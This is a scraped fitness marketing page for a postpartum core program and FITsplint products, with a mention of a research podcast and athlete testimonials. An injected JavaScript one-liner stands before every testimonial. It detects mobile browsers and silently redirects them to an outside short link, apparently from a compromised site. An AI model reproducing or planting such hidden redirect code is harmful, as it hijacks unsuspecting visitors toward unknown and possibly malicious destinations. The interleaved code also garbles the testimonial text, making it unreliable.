Your core muscles stretch for nine months.
It’s time to give them specific attention.
Improve core/pelvic floor control, strength, stability and function
through pregnancy and recovery
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PreCORE Online Program
Maternity FITsplint™
Post-Natal FITsplint™
Join us as we chat with Dr. Rita Deering on her amazing postpartum research. Rita has published 6+ peer reviewed publications. She has been studying abdominal strength in postpartum women, specifically diastasis recti, trunk fatiguability, steadinesss as well as running biomechanics.
Rita's paper "Impaired Trunk Flexor Strength, Fatigability & Steadiness in Postpartum Women" was the first of its kind to recognize the deficits women are still dealing with 6 months postpartum. Simply going back to daily activities of walking, lifting children and general exercise did not sufficiently restore deficits by 6 months.
We can't wait to dive more into her research and find out what she has learned along the way!
Trusted by Professionals
Alysia Montano
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); I went to pee AGAIN and remembered my #FITsplint that I hand't quite fit into yet, it made a world of difference, so much so that I wanted to see if my "speed" legs were still there-ish
Sarah Brown
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); Get down to the #CORE of it! Working on rebuilding my core with the support of my #FITsplint Thanks ReCORE Fitness!
Allyson Felix
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); I had an amazing experience working with Celeste from Recore Fitness. I was lost when it came to strengthening my core after birth the correct way. I loved the program and exercises that Celeste guided me through along with the knowledge she provided me with. I’m so happy with the progress my core has made and I’m excited to continue incorporating these exercises into my...
Neely Spence Gracey
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); Having a safe postpartum core routine helped me rebuild stability and get back to running with out complications!
Heidi Smith
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); I was your client over a year ago- my son is now 17 months. This is my second baby and I struggled with a separation of 1-2 inches after my first child. Using your program was THE TICKET! It got my inner core solid and my split is now consistently .5-1.5 at most. The best part is now I am very conscious of my core and sure to do inner strengthening just as much as outer....
Alysia Montano 2xOlympian
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/VUVFtzfnj0r7"); Last pregnancy took me almost 2 years! Thank you so much @recorefitness. I still have a ways to go by way of strength but I like where I am heading.